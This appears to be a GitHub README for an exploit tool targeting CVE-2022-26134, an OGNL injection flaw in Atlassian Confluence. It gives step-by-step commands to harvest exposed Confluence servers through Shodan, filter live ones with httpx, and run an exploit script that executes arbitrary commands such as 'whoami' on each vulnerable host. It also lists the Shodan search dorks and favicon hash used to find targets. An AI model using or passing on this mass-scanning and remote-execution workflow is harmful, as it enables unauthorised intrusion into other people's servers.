abhishekmorla/cve-2022-26134Exploit scanner for CVE-2022-26134 in Atlassian Confluence. Uses Shodan to find vulnerable hosts, then executes commands via the OGNL injection vulnerability.
First run the shodan scripts to grabs all the ips
python3 shodan_script.py -API your_api -L limit -D "http.favicon.hash:-305179312 200" > log.txt
ex: python3 shodan_script.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" > log.txt
For all valid ips :
cat log.txt | httpx -o forexploits.txt
Run Exploit against the list "forexploits.txt" :
python3 CVE-2022-26134.py forexploits.txt "whoami"
which prints the ip and command for vulnerable hosts.
http.component:"atlassian confluence"
http.favicon.hash:-305179312"
http.title:"Log In - Confluence" 200
http.component:"atlassian confluence" http.title:"Log In - Confluence" 200
http.favicon.hash:-305179312 200
